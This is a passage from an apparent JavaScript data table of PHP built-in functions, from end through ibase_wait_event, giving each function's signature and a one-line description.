met.\"],end:[\"mixed end(array array_arg)\",\"Advances array argument's internal pointer to the last element and return it\"],ereg:[\"int ereg(string pattern, string string [, array registers])\",\"Regular expression match\"],ereg_replace:[\"string ereg_replace(string pattern, string replacement, string string)\",\"Replace regular expression\"],eregi:[\"int eregi(string pattern, string string [, array registers])\",\"Case-insensitive regular expression match\"],eregi_replace:[\"string eregi_replace(string pattern, string replacement, string string)\",\"Case insensitive replace regular expression\"],error_get_last:[\"array error_get_last()\",\"Get the last occurred error as associative array. Returns NULL if there hasn't been an error yet.\"],error_log:[\"bool error_log(string message [, int message_type [, string destination [, string extra_headers]]])\",\"Send an error message somewhere\"],error_reporting:[\"int error_reporting([int new_error_level])\",\"Return the current error_reporting level, and if an argument was passed - change to the new level\"],escapeshellarg:[\"string escapeshellarg(string arg)\",\"Quote and escape an argument for use in a shell command\"],escapeshellcmd:[\"string escapeshellcmd(string command)\",\"Escape shell metacharacters\"],exec:[\"string exec(string command [, array &output [, int &return_value]])\",\"Execute an external program\"],exif_imagetype:[\"int exif_imagetype(string imagefile)\",\"Get the type of an image\"],exif_read_data:[\"array exif_read_data(string filename [, sections_needed [, sub_arrays[, read_thumbnail]]])\",\"Reads header data from the JPEG/TIFF image filename and optionally reads the internal thumbnails\"],exif_tagname:[\"string exif_tagname(index)\",\"Get headername for index or false if not defined\"],exif_thumbnail:[\"string exif_thumbnail(string filename [, &width, &height [, &imagetype]])\",\"Reads the embedded thumbnail\"],exit:[\"void exit([mixed status])\",\"Output a message and terminate the current script\"],exp:[\"float exp(float number)\",\"Returns e raised to the power of the number\"],explode:[\"array explode(string separator, string str [, int limit])\",\"Splits a string on string separator and return array of components. If limit is positive only limit number of components is returned. If limit is negative all components except the last abs(limit) are returned.\"],expm1:[\"float expm1(float number)\",\"Returns exp(number) - 1, computed in a way that accurate even when the value of number is close to zero\"],extension_loaded:[\"bool extension_loaded(string extension_name)\",\"Returns true if the named extension is loaded\"],extract:[\"int extract(array var_array [, int extract_type [, string prefix]])\",\"Imports variables into symbol table from an array\"],ezmlm_hash:[\"int ezmlm_hash(string addr)\",\"Calculate EZMLM list hash value.\"],fclose:[\"bool fclose(resource fp)\",\"Close an open file pointer\"],feof:[\"bool feof(resource fp)\",\"Test for end-of-file on a file pointer\"],fflush:[\"bool fflush(resource fp)\",\"Flushes output\"],fgetc:[\"string fgetc(resource fp)\",\"Get a character from file pointer\"],fgetcsv:[\"array fgetcsv(resource fp [,int length [, string delimiter [, string enclosure [, string escape]]]])\",\"Get line from file pointer and parse for CSV fields\"],fgets:[\"string fgets(resource fp[, int length])\",\"Get a line from file pointer\"],fgetss:[\"string fgetss(resource fp [, int length [, string allowable_tags]])\",\"Get a line from file pointer and strip HTML tags\"],file:[\"array file(string filename [, int flags[, resource context]])\",\"Read entire file into an array\"],file_exists:[\"bool file_exists(string filename)\",\"Returns true if filename exists\"],file_get_contents:[\"string file_get_contents(string filename [, bool use_include_path [, resource context [, long offset [, long maxlen]]]])\",\"Read the entire file into a string\"],file_put_contents:[\"int file_put_contents(string file, mixed data [, int flags [, resource context]])\",\"Write/Create a file with contents data and return the number of bytes written\"],fileatime:[\"int fileatime(string filename)\",\"Get last access time of file\"],filectime:[\"int filectime(string filename)\",\"Get inode modification time of file\"],filegroup:[\"int filegroup(string filename)\",\"Get file group\"],fileinode:[\"int fileinode(string filename)\",\"Get file inode\"],filemtime:[\"int filemtime(string filename)\",\"Get last modification time of file\"],fileowner:[\"int fileowner(string filename)\",\"Get file owner\"],fileperms:[\"int fileperms(string filename)\",\"Get file permissions\"],filesize:[\"int filesize(string filename)\",\"Get file size\"],filetype:[\"string filetype(string filename)\",\"Get file type\"],filter_has_var:[\"mixed filter_has_var(constant type, string variable_name)\",\"* Returns true if the variable with the name 'name' exists in source.\"],filter_input:[\"mixed filter_input(constant type, string variable_name [, long filter [, mixed options]])\",\"* Returns the filtered variable 'name'* from source `type`.\"],filter_input_array:[\"mixed filter_input_array(constant type, [, mixed options]])\",\"* Returns an array with all arguments defined in 'definition'.\"],filter_var:[\"mixed filter_var(mixed variable [, long filter [, mixed options]])\",\"* Returns the filtered version of the vriable.\"],filter_var_array:[\"mixed filter_var_array(array data, [, mixed options]])\",\"* Returns an array with all arguments defined in 'definition'.\"],finfo_buffer:[\"string finfo_buffer(resource finfo, char *string [, int options [, resource context]])\",\"Return infromation about a string buffer.\"],finfo_close:[\"resource finfo_close(resource finfo)\",\"Close fileinfo resource.\"],finfo_file:[\"string finfo_file(resource finfo, char *file_name [, int options [, resource context]])\",\"Return information about a file.\"],finfo_open:[\"resource finfo_open([int options [, string arg]])\",\"Create a new fileinfo resource.\"],finfo_set_flags:[\"bool finfo_set_flags(resource finfo, int options)\",\"Set libmagic configuration options.\"],floatval:[\"float floatval(mixed var)\",\"Get the float value of a variable\"],flock:[\"bool flock(resource fp, int operation [, int &wouldblock])\",\"Portable file locking\"],floor:[\"float floor(float number)\",\"Returns the next lowest integer value from the number\"],flush:[\"void flush(void)\",\"Flush the output buffer\"],fmod:[\"float fmod(float x, float y)\",\"Returns the remainder of dividing x by y as a float\"],fnmatch:[\"bool fnmatch(string pattern, string filename [, int flags])\",\"Match filename against pattern\"],fopen:[\"resource fopen(string filename, string mode [, bool use_include_path [, resource context]])\",\"Open a file or a URL and return a file pointer\"],forward_static_call:[\"mixed forward_static_call(mixed function_name [, mixed parmeter] [, mixed ...])\",\"Call a user function which is the first parameter\"],fpassthru:[\"int fpassthru(resource fp)\",\"Output all remaining data from a file pointer\"],fprintf:[\"int fprintf(resource stream, string format [, mixed arg1 [, mixed ...]])\",\"Output a formatted string into a stream\"],fputcsv:[\"int fputcsv(resource fp, array fields [, string delimiter [, string enclosure]])\",\"Format line as CSV and write to file pointer\"],fread:[\"string fread(resource fp, int length)\",\"Binary-safe file read\"],frenchtojd:[\"int frenchtojd(int month, int day, int year)\",\"Converts a french republic calendar date to julian day count\"],fscanf:[\"mixed fscanf(resource stream, string format [, string ...])\",\"Implements a mostly ANSI compatible fscanf()\"],fseek:[\"int fseek(resource fp, int offset [, int whence])\",\"Seek on a file pointer\"],fsockopen:[\"resource fsockopen(string hostname, int port [, int errno [, string errstr [, float timeout]]])\",\"Open Internet or Unix domain socket connection\"],fstat:[\"array fstat(resource fp)\",\"Stat() on a filehandle\"],ftell:[\"int ftell(resource fp)\",\"Get file pointer's read/write position\"],ftok:[\"int ftok(string pathname, string proj)\",\"Convert a pathname and a project identifier to a System V IPC key\"],ftp_alloc:[\"bool ftp_alloc(resource stream, int size[, &response])\",\"Attempt to allocate space on the remote FTP server\"],ftp_cdup:[\"bool ftp_cdup(resource stream)\",\"Changes to the parent directory\"],ftp_chdir:[\"bool ftp_chdir(resource stream, string directory)\",\"Changes directories\"],ftp_chmod:[\"int ftp_chmod(resource stream, int mode, string filename)\",\"Sets permissions on a file\"],ftp_close:[\"bool ftp_close(resource stream)\",\"Closes the FTP stream\"],ftp_connect:[\"resource ftp_connect(string host [, int port [, int timeout]])\",\"Opens a FTP stream\"],ftp_delete:[\"bool ftp_delete(resource stream, string file)\",\"Deletes a file\"],ftp_exec:[\"bool ftp_exec(resource stream, string command)\",\"Requests execution of a program on the FTP server\"],ftp_fget:[\"bool ftp_fget(resource stream, resource fp, string remote_file, int mode[, int resumepos])\",\"Retrieves a file from the FTP server and writes it to an open file\"],ftp_fput:[\"bool ftp_fput(resource stream, string remote_file, resource fp, int mode[, int startpos])\",\"Stores a file from an open file to the FTP server\"],ftp_get:[\"bool ftp_get(resource stream, string local_file, string remote_file, int mode[, int resume_pos])\",\"Retrieves a file from the FTP server and writes it to a local file\"],ftp_get_option:[\"mixed ftp_get_option(resource stream, int option)\",\"Gets an FTP option\"],ftp_login:[\"bool ftp_login(resource stream, string username, string password)\",\"Logs into the FTP server\"],ftp_mdtm:[\"int ftp_mdtm(resource stream, string filename)\",\"Returns the last modification time of the file, or -1 on error\"],ftp_mkdir:[\"string ftp_mkdir(resource stream, string directory)\",\"Creates a directory and returns the absolute path for the new directory or false on error\"],ftp_nb_continue:[\"int ftp_nb_continue(resource stream)\",\"Continues retrieving/sending a file nbronously\"],ftp_nb_fget:[\"int ftp_nb_fget(resource stream, resource fp, string remote_file, int mode[, int resumepos])\",\"Retrieves a file from the FTP server asynchronly and writes it to an open file\"],ftp_nb_fput:[\"int ftp_nb_fput(resource stream, string remote_file, resource fp, int mode[, int startpos])\",\"Stores a file from an open file to the FTP server nbronly\"],ftp_nb_get:[\"int ftp_nb_get(resource stream, string local_file, string remote_file, int mode[, int resume_pos])\",\"Retrieves a file from the FTP server nbhronly and writes it to a local file\"],ftp_nb_put:[\"int ftp_nb_put(resource stream, string remote_file, string local_file, int mode[, int startpos])\",\"Stores a file on the FTP server\"],ftp_nlist:[\"array ftp_nlist(resource stream, string directory)\",\"Returns an array of filenames in the given directory\"],ftp_pasv:[\"bool ftp_pasv(resource stream, bool pasv)\",\"Turns passive mode on or off\"],ftp_put:[\"bool ftp_put(resource stream, string remote_file, string local_file, int mode[, int startpos])\",\"Stores a file on the FTP server\"],ftp_pwd:[\"string ftp_pwd(resource stream)\",\"Returns the present working directory\"],ftp_raw:[\"array ftp_raw(resource stream, string command)\",\"Sends a literal command to the FTP server\"],ftp_rawlist:[\"array ftp_rawlist(resource stream, string directory [, bool recursive])\",\"Returns a detailed listing of a directory as an array of output lines\"],ftp_rename:[\"bool ftp_rename(resource stream, string src, string dest)\",\"Renames the given file to a new path\"],ftp_rmdir:[\"bool ftp_rmdir(resource stream, string directory)\",\"Removes a directory\"],ftp_set_option:[\"bool ftp_set_option(resource stream, int option, mixed value)\",\"Sets an FTP option\"],ftp_site:[\"bool ftp_site(resource stream, string cmd)\",\"Sends a SITE command to the server\"],ftp_size:[\"int ftp_size(resource stream, string filename)\",\"Returns the size of the file, or -1 on error\"],ftp_ssl_connect:[\"resource ftp_ssl_connect(string host [, int port [, int timeout]])\",\"Opens a FTP-SSL stream\"],ftp_systype:[\"string ftp_systype(resource stream)\",\"Returns the system type identifier\"],ftruncate:[\"bool ftruncate(resource fp, int size)\",\"Truncate file to 'size' length\"],func_get_arg:[\"mixed func_get_arg(int arg_num)\",\"Get the $arg_num'th argument that was passed to the function\"],func_get_args:[\"array func_get_args()\",\"Get an array of the arguments that were passed to the function\"],func_num_args:[\"int func_num_args(void)\",\"Get the number of arguments that were passed to the function\"],function_exists:[\"bool function_exists(string function_name)\",\"Checks if the function exists\"],fwrite:[\"int fwrite(resource fp, string str [, int length])\",\"Binary-safe file write\"],gc_collect_cycles:[\"int gc_collect_cycles(void)\",\"Forces collection of any existing garbage cycles.    Returns number of freed zvals\"],gc_disable:[\"void gc_disable(void)\",\"Deactivates the circular reference collector\"],gc_enable:[\"void gc_enable(void)\",\"Activates the circular reference collector\"],gc_enabled:[\"void gc_enabled(void)\",\"Returns status of the circular reference collector\"],gd_info:[\"array gd_info()\",\"\"],getKeywords:[\"static array getKeywords(string $locale) {\",\"* return an associative array containing keyword-value  * pairs for this locale. The keys are keys to the array (doh!)  * }}}\"],get_browser:[\"mixed get_browser([string browser_name [, bool return_array]])\",\"Get information about the capabilities of a browser. If browser_name is omitted or null, HTTP_USER_AGENT is used. Returns an object by default; if return_array is true, returns an array.\"],get_called_class:[\"string get_called_class()\",'Retrieves the \"Late Static Binding\" class name'],get_cfg_var:[\"mixed get_cfg_var(string option_name)\",\"Get the value of a PHP configuration option\"],get_class:[\"string get_class([object object])\",\"Retrieves the class name\"],get_class_methods:[\"array get_class_methods(mixed class)\",\"Returns an array of method names for class or class instance.\"],get_class_vars:[\"array get_class_vars(string class_name)\",\"Returns an array of default properties of the class.\"],get_current_user:[\"string get_current_user(void)\",\"Get the name of the owner of the current PHP script\"],get_declared_classes:[\"array get_declared_classes()\",\"Returns an array of all declared classes.\"],get_declared_interfaces:[\"array get_declared_interfaces()\",\"Returns an array of all declared interfaces.\"],get_defined_constants:[\"array get_defined_constants([bool categorize])\",\"Return an array containing the names and values of all defined constants\"],get_defined_functions:[\"array get_defined_functions(void)\",\"Returns an array of all defined functions\"],get_defined_vars:[\"array get_defined_vars(void)\",\"Returns an associative array of names and values of all currently defined variable names (variables in the current scope)\"],get_display_language:[\"static string get_display_language($locale[, $in_locale = null])\",\"* gets the language for the $locale in $in_locale or default_locale\"],get_display_name:[\"static string get_display_name($locale[, $in_locale = null])\",\"* gets the name for the $locale in $in_locale or default_locale\"],get_display_region:[\"static string get_display_region($locale, $in_locale = null)\",\"* gets the region for the $locale in $in_locale or default_locale\"],get_display_script:[\"static string get_display_script($locale, $in_locale = null)\",\"* gets the script for the $locale in $in_locale or default_locale\"],get_extension_funcs:[\"array get_extension_funcs(string extension_name)\",\"Returns an array with the names of functions belonging to the named extension\"],get_headers:[\"array get_headers(string url[, int format])\",\"fetches all the headers sent by the server in response to a HTTP request\"],get_html_translation_table:[\"array get_html_translation_table([int table [, int quote_style]])\",\"Returns the internal translation table used by htmlspecialchars and htmlentities\"],get_include_path:[\"string get_include_path()\",\"Get the current include_path configuration option\"],get_included_files:[\"array get_included_files(void)\",\"Returns an array with the file names that were include_once()'d\"],get_loaded_extensions:[\"array get_loaded_extensions([bool zend_extensions])\",\"Return an array containing names of loaded extensions\"],get_magic_quotes_gpc:[\"int get_magic_quotes_gpc(void)\",\"Get the current active configuration setting of magic_quotes_gpc\"],get_magic_quotes_runtime:[\"int get_magic_quotes_runtime(void)\",\"Get the current active configuration setting of magic_quotes_runtime\"],get_meta_tags:[\"array get_meta_tags(string filename [, bool use_include_path])\",\"Extracts all meta tag content attributes from a file and returns an array\"],get_object_vars:[\"array get_object_vars(object obj)\",\"Returns an array of object properties\"],get_parent_class:[\"string get_parent_class([mixed object])\",\"Retrieves the parent class name for object or class or current scope.\"],get_resource_type:[\"string get_resource_type(resource res)\",\"Get the resource type name for a given resource\"],getallheaders:[\"array getallheaders(void)\",\"\"],getcwd:[\"mixed getcwd(void)\",\"Gets the current directory\"],getdate:[\"array getdate([int timestamp])\",\"Get date/time information\"],getenv:[\"string getenv(string varname)\",\"Get the value of an environment variable\"],gethostbyaddr:[\"string gethostbyaddr(string ip_address)\",\"Get the Internet host name corresponding to a given IP address\"],gethostbyname:[\"string gethostbyname(string hostname)\",\"Get the IP address corresponding to a given Internet host name\"],gethostbynamel:[\"array gethostbynamel(string hostname)\",\"Return a list of IP addresses that a given hostname resolves to.\"],gethostname:[\"string gethostname()\",\"Get the host name of the current machine\"],getimagesize:[\"array getimagesize(string imagefile [, array info])\",\"Get the size of an image as 4-element array\"],getlastmod:[\"int getlastmod(void)\",\"Get time of last page modification\"],getmygid:[\"int getmygid(void)\",\"Get PHP script owner's GID\"],getmyinode:[\"int getmyinode(void)\",\"Get the inode of the current script being parsed\"],getmypid:[\"int getmypid(void)\",\"Get current process ID\"],getmyuid:[\"int getmyuid(void)\",\"Get PHP script owner's UID\"],getopt:[\"array getopt(string options [, array longopts])\",\"Get options from the command line argument list\"],getprotobyname:[\"int getprotobyname(string name)\",\"Returns protocol number associated with name as per /etc/protocols\"],getprotobynumber:[\"string getprotobynumber(int proto)\",\"Returns protocol name associated with protocol number proto\"],getrandmax:[\"int getrandmax(void)\",\"Returns the maximum value a random number can have\"],getrusage:[\"array getrusage([int who])\",\"Returns an array of usage statistics\"],getservbyname:[\"int getservbyname(string service, string protocol)\",'Returns port associated with service. Protocol must be \"tcp\" or \"udp\"'],getservbyport:[\"string getservbyport(int port, string protocol)\",'Returns service name associated with port. Protocol must be \"tcp\" or \"udp\"'],gettext:[\"string gettext(string msgid)\",\"Return the translation of msgid for the current domain, or msgid unaltered if a translation does not exist\"],gettimeofday:[\"array gettimeofday([bool get_as_float])\",\"Returns the current time as array\"],gettype:[\"string gettype(mixed var)\",\"Returns the type of the variable\"],glob:[\"array glob(string pattern [, int flags])\",\"Find pathnames matching a pattern\"],gmdate:[\"string gmdate(string format [, long timestamp])\",\"Format a GMT date/time\"],gmmktime:[\"int gmmktime([int hour [, int min [, int sec [, int mon [, int day [, int year]]]]]])\",\"Get UNIX timestamp for a GMT date\"],gmp_abs:[\"resource gmp_abs(resource a)\",\"Calculates absolute value\"],gmp_add:[\"resource gmp_add(resource a, resource b)\",\"Add a and b\"],gmp_and:[\"resource gmp_and(resource a, resource b)\",\"Calculates logical AND of a and b\"],gmp_clrbit:[\"void gmp_clrbit(resource &a, int index)\",\"Clears bit in a\"],gmp_cmp:[\"int gmp_cmp(resource a, resource b)\",\"Compares two numbers\"],gmp_com:[\"resource gmp_com(resource a)\",\"Calculates one's complement of a\"],gmp_div_q:[\"resource gmp_div_q(resource a, resource b [, int round])\",\"Divide a by b, returns quotient only\"],gmp_div_qr:[\"array gmp_div_qr(resource a, resource b [, int round])\",\"Divide a by b, returns quotient and reminder\"],gmp_div_r:[\"resource gmp_div_r(resource a, resource b [, int round])\",\"Divide a by b, returns reminder only\"],gmp_divexact:[\"resource gmp_divexact(resource a, resource b)\",\"Divide a by b using exact division algorithm\"],gmp_fact:[\"resource gmp_fact(int a)\",\"Calculates factorial function\"],gmp_gcd:[\"resource gmp_gcd(resource a, resource b)\",\"Computes greatest common denominator (gcd) of a and b\"],gmp_gcdext:[\"array gmp_gcdext(resource a, resource b)\",\"Computes G, S, and T, such that AS + BT = G = `gcd' (A, B)\"],gmp_hamdist:[\"int gmp_hamdist(resource a, resource b)\",\"Calculates hamming distance between a and b\"],gmp_init:[\"resource gmp_init(mixed number [, int base])\",\"Initializes GMP number\"],gmp_intval:[\"int gmp_intval(resource gmpnumber)\",\"Gets signed long value of GMP number\"],gmp_invert:[\"resource gmp_invert(resource a, resource b)\",\"Computes the inverse of a modulo b\"],gmp_jacobi:[\"int gmp_jacobi(resource a, resource b)\",\"Computes Jacobi symbol\"],gmp_legendre:[\"int gmp_legendre(resource a, resource b)\",\"Computes Legendre symbol\"],gmp_mod:[\"resource gmp_mod(resource a, resource b)\",\"Computes a modulo b\"],gmp_mul:[\"resource gmp_mul(resource a, resource b)\",\"Multiply a and b\"],gmp_neg:[\"resource gmp_neg(resource a)\",\"Negates a number\"],gmp_nextprime:[\"resource gmp_nextprime(resource a)\",\"Finds next prime of a\"],gmp_or:[\"resource gmp_or(resource a, resource b)\",\"Calculates logical OR of a and b\"],gmp_perfect_square:[\"bool gmp_perfect_square(resource a)\",\"Checks if a is an exact square\"],gmp_popcount:[\"int gmp_popcount(resource a)\",\"Calculates the population count of a\"],gmp_pow:[\"resource gmp_pow(resource base, int exp)\",\"Raise base to power exp\"],gmp_powm:[\"resource gmp_powm(resource base, resource exp, resource mod)\",\"Raise base to power exp and take result modulo mod\"],gmp_prob_prime:[\"int gmp_prob_prime(resource a[, int reps])\",'Checks if a is \"probably prime\"'],gmp_random:[\"resource gmp_random([int limiter])\",\"Gets random number\"],gmp_scan0:[\"int gmp_scan0(resource a, int start)\",\"Finds first zero bit\"],gmp_scan1:[\"int gmp_scan1(resource a, int start)\",\"Finds first non-zero bit\"],gmp_setbit:[\"void gmp_setbit(resource &a, int index[, bool set_clear])\",\"Sets or clear bit in a\"],gmp_sign:[\"int gmp_sign(resource a)\",\"Gets the sign of the number\"],gmp_sqrt:[\"resource gmp_sqrt(resource a)\",\"Takes integer part of square root of a\"],gmp_sqrtrem:[\"array gmp_sqrtrem(resource a)\",\"Square root with remainder\"],gmp_strval:[\"string gmp_strval(resource gmpnumber [, int base])\",\"Gets string representation of GMP number\"],gmp_sub:[\"resource gmp_sub(resource a, resource b)\",\"Subtract b from a\"],gmp_testbit:[\"bool gmp_testbit(resource a, int index)\",\"Tests if bit is set in a\"],gmp_xor:[\"resource gmp_xor(resource a, resource b)\",\"Calculates logical exclusive OR of a and b\"],gmstrftime:[\"string gmstrftime(string format [, int timestamp])\",\"Format a GMT/UCT time/date according to locale settings\"],grapheme_extract:[\"string grapheme_extract(string str, int size[, int extract_type[, int start[, int next]]])\",\"Function to extract a sequence of default grapheme clusters\"],grapheme_stripos:[\"int grapheme_stripos(string haystack, string needle [, int offset ])\",\"Find position of first occurrence of a string within another, ignoring case differences\"],grapheme_stristr:[\"string grapheme_stristr(string haystack, string needle[, bool part])\",\"Finds first occurrence of a string within another\"],grapheme_strlen:[\"int grapheme_strlen(string str)\",\"Get number of graphemes in a string\"],grapheme_strpos:[\"int grapheme_strpos(string haystack, string needle [, int offset ])\",\"Find position of first occurrence of a string within another\"],grapheme_strripos:[\"int grapheme_strripos(string haystack, string needle [, int offset])\",\"Find position of last occurrence of a string within another, ignoring case\"],grapheme_strrpos:[\"int grapheme_strrpos(string haystack, string needle [, int offset])\",\"Find position of last occurrence of a string within another\"],grapheme_strstr:[\"string grapheme_strstr(string haystack, string needle[, bool part])\",\"Finds first occurrence of a string within another\"],grapheme_substr:[\"string grapheme_substr(string str, int start [, int length])\",\"Returns part of a string\"],gregoriantojd:[\"int gregoriantojd(int month, int day, int year)\",\"Converts a gregorian calendar date to julian day count\"],gzcompress:[\"string gzcompress(string data [, int level])\",\"Gzip-compress a string\"],gzdeflate:[\"string gzdeflate(string data [, int level])\",\"Gzip-compress a string\"],gzencode:[\"string gzencode(string data [, int level [, int encoding_mode]])\",\"GZ encode a string\"],gzfile:[\"array gzfile(string filename [, int use_include_path])\",\"Read und uncompress entire .gz-file into an array\"],gzinflate:[\"string gzinflate(string data [, int length])\",\"Unzip a gzip-compressed string\"],gzopen:[\"resource gzopen(string filename, string mode [, int use_include_path])\",\"Open a .gz-file and return a .gz-file pointer\"],gzuncompress:[\"string gzuncompress(string data [, int length])\",\"Unzip a gzip-compressed string\"],hash:[\"string hash(string algo, string data[, bool raw_output = false])\",\"Generate a hash of a given input string Returns lowercase hexits by default\"],hash_algos:[\"array hash_algos(void)\",\"Return a list of registered hashing algorithms\"],hash_copy:[\"resource hash_copy(resource context)\",\"Copy hash resource\"],hash_file:[\"string hash_file(string algo, string filename[, bool raw_output = false])\",\"Generate a hash of a given file Returns lowercase hexits by default\"],hash_final:[\"string hash_final(resource context[, bool raw_output=false])\",\"Output resulting digest\"],hash_hmac:[\"string hash_hmac(string algo, string data, string key[, bool raw_output = false])\",\"Generate a hash of a given input string with a key using HMAC Returns lowercase hexits by default\"],hash_hmac_file:[\"string hash_hmac_file(string algo, string filename, string key[, bool raw_output = false])\",\"Generate a hash of a given file with a key using HMAC Returns lowercase hexits by default\"],hash_init:[\"resource hash_init(string algo[, int options, string key])\",\"Initialize a hashing context\"],hash_update:[\"bool hash_update(resource context, string data)\",\"Pump data into the hashing algorithm\"],hash_update_file:[\"bool hash_update_file(resource context, string filename[, resource context])\",\"Pump data into the hashing algorithm from a file\"],hash_update_stream:[\"int hash_update_stream(resource context, resource handle[, integer length])\",\"Pump data into the hashing algorithm from an open stream\"],header:[\"void header(string header [, bool replace, [int http_response_code]])\",\"Sends a raw HTTP header\"],header_remove:[\"void header_remove([string name])\",\"Removes an HTTP header previously set using header()\"],headers_list:[\"array headers_list(void)\",\"Return list of headers to be sent / already sent\"],headers_sent:[\"bool headers_sent([string &$file [, int &$line]])\",\"Returns true if headers have already been sent, false otherwise\"],hebrev:[\"string hebrev(string str [, int max_chars_per_line])\",\"Converts logical Hebrew text to visual text\"],hebrevc:[\"string hebrevc(string str [, int max_chars_per_line])\",\"Converts logical Hebrew text to visual text with newline conversion\"],hexdec:[\"int hexdec(string hexadecimal_number)\",\"Returns the decimal equivalent of the hexadecimal number\"],highlight_file:[\"bool highlight_file(string file_name [, bool return] )\",\"Syntax highlight a source file\"],highlight_string:[\"bool highlight_string(string string [, bool return] )\",\"Syntax highlight a string or optionally return it\"],html_entity_decode:[\"string html_entity_decode(string string [, int quote_style][, string charset])\",\"Convert all HTML entities to their applicable characters\"],htmlentities:[\"string htmlentities(string string [, int quote_style[, string charset[, bool double_encode]]])\",\"Convert all applicable characters to HTML entities\"],htmlspecialchars:[\"string htmlspecialchars(string string [, int quote_style[, string charset[, bool double_encode]]])\",\"Convert special characters to HTML entities\"],htmlspecialchars_decode:[\"string htmlspecialchars_decode(string string [, int quote_style])\",\"Convert special HTML entities back to characters\"],http_build_query:[\"string http_build_query(mixed formdata [, string prefix [, string arg_separator]])\",\"Generates a form-encoded query string from an associative array or object.\"],hypot:[\"float hypot(float num1, float num2)\",\"Returns sqrt(num1*num1 + num2*num2)\"],ibase_add_user:[\"bool ibase_add_user(resource service_handle, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])\",\"Add a user to security database\"],ibase_affected_rows:[\"int ibase_affected_rows( [ resource link_identifier ] )\",\"Returns the number of rows affected by the previous INSERT, UPDATE or DELETE statement\"],ibase_backup:[\"mixed ibase_backup(resource service_handle, string source_db, string dest_file [, int options [, bool verbose]])\",\"Initiates a backup task in the service manager and returns immediately\"],ibase_blob_add:[\"bool ibase_blob_add(resource blob_handle, string data)\",\"Add data into created blob\"],ibase_blob_cancel:[\"bool ibase_blob_cancel(resource blob_handle)\",\"Cancel creating blob\"],ibase_blob_close:[\"string ibase_blob_close(resource blob_handle)\",\"Close blob\"],ibase_blob_create:[\"resource ibase_blob_create([resource link_identifier])\",\"Create blob for adding data\"],ibase_blob_echo:[\"bool ibase_blob_echo([ resource link_identifier, ] string blob_id)\",\"Output blob contents to browser\"],ibase_blob_get:[\"string ibase_blob_get(resource blob_handle, int len)\",\"Get len bytes data from open blob\"],ibase_blob_import:[\"string ibase_blob_import([ resource link_identifier, ] resource file)\",\"Create blob, copy file in it, and close it\"],ibase_blob_info:[\"array ibase_blob_info([ resource link_identifier, ] string blob_id)\",\"Return blob length and other useful info\"],ibase_blob_open:[\"resource ibase_blob_open([ resource link_identifier, ] string blob_id)\",\"Open blob for retrieving data parts\"],ibase_close:[\"bool ibase_close([resource link_identifier])\",\"Close an InterBase connection\"],ibase_commit:[\"bool ibase_commit( resource link_identifier )\",\"Commit transaction\"],ibase_commit_ret:[\"bool ibase_commit_ret( resource link_identifier )\",\"Commit transaction and retain the transaction context\"],ibase_connect:[\"resource ibase_connect(string database [, string username [, string password [, string charset [, int buffers [, int dialect [, string role]]]]]])\",\"Open a connection to an InterBase database\"],ibase_db_info:[\"string ibase_db_info(resource service_handle, string db, int action [, int argument])\",\"Request statistics about a database\"],ibase_delete_user:[\"bool ibase_delete_user(resource service_handle, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])\",\"Delete a user from security database\"],ibase_drop_db:[\"bool ibase_drop_db([resource link_identifier])\",\"Drop an InterBase database\"],ibase_errcode:[\"int ibase_errcode(void)\",\"Return error code\"],ibase_errmsg:[\"string ibase_errmsg(void)\",\"Return error message\"],ibase_execute:[\"mixed ibase_execute(resource query [, mixed bind_arg [, mixed bind_arg [, ...]]])\",\"Execute a previously prepared query\"],ibase_fetch_assoc:[\"array ibase_fetch_assoc(resource result [, int fetch_flags])\",\"Fetch a row  from the results of a query\"],ibase_fetch_object:[\"object ibase_fetch_object(resource result [, int fetch_flags])\",\"Fetch a object from the results of a query\"],ibase_fetch_row:[\"array ibase_fetch_row(resource result [, int fetch_flags])\",\"Fetch a row  from the results of a query\"],ibase_field_info:[\"array ibase_field_info(resource query_result, int field_number)\",\"Get information about a field\"],ibase_free_event_handler:[\"bool ibase_free_event_handler(resource event)\",\"Frees the event handler set by ibase_set_event_handler()\"],ibase_free_query:[\"bool ibase_free_query(resource query)\",\"Free memory used by a query\"],ibase_free_result:[\"bool ibase_free_result(resource result)\",\"Free the memory used by a result\"],ibase_gen_id:[\"int ibase_gen_id(string generator [, int increment [, resource link_identifier ]])\",\"Increments the named generator and returns its new value\"],ibase_maintain_db:[\"bool ibase_maintain_db(resource service_handle, string db, int action [, int argument])\",\"Execute a maintenance command on the database server\"],ibase_modify_user:[\"bool ibase_modify_user(resource service_handle, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])\",\"Modify a user in security database\"],ibase_name_result:[\"bool ibase_name_result(resource result, string name)\",\"Assign a name to a result for use with ... WHERE CURRENT OF <name> statements\"],ibase_num_fields:[\"int ibase_num_fields(resource query_result)\",\"Get the number of fields in result\"],ibase_num_params:[\"int ibase_num_params(resource query)\",\"Get the number of params in a prepared query\"],ibase_num_rows:[\"int ibase_num_rows( resource result_identifier )\",\"Return the number of rows that are available in a result\"],ibase_param_info:[\"array ibase_param_info(resource query, int field_number)\",\"Get information about a parameter\"],ibase_pconnect:[\"resource ibase_pconnect(string database [, string username [, string password [, string charset [, int buffers [, int dialect [, string role]]]]]])\",\"Open a persistent connection to an InterBase database\"],ibase_prepare:[\"resource ibase_prepare(resource link_identifier[, string query [, resource trans_identifier ]])\",\"Prepare a query for later execution\"],ibase_query:[\"mixed ibase_query([resource link_identifier, [ resource link_identifier, ]] string query [, mixed bind_arg [, mixed bind_arg [, ...]]])\",\"Execute a query\"],ibase_restore:[\"mixed ibase_restore(resource service_handle, string source_file, string dest_db [, int options [, bool verbose]])\",\"Initiates a restore task in the service manager and returns immediately\"],ibase_rollback:[\"bool ibase_rollback( resource link_identifier )\",\"Rollback transaction\"],ibase_rollback_ret:[\"bool ibase_rollback_ret( resource link_identifier )\",\"Rollback transaction and retain the transaction context\"],ibase_server_info:[\"string ibase_server_info(resource service_handle, int action)\",\"Request information about a database server\"],ibase_service_attach:[\"resource ibase_service_attach(string host, string dba_username, string dba_password)\",\"Connect to the service manager\"],ibase_service_detach:[\"bool ibase_service_detach(resource service_handle)\",\"Disconnect from the service manager\"],ibase_set_event_handler:[\"resource ibase_set_event_handler([resource link_identifier,] callback handler, string event [, string event [, ...]])\",\"Register the callback for handling each of the named events\"],ibase_trans:[\"resource ibase_trans([int trans_args [, resource link_identifier [, ... ], int trans_args [, resource link_identifier [, ... ]] [, ...]]])\",\"Start a transaction over one or several databases\"],ibase_wait_event:[\"string ibase_wait_event([resource link_identifier,] string event [, string event [, ...]])\",\"Waits for any one of the 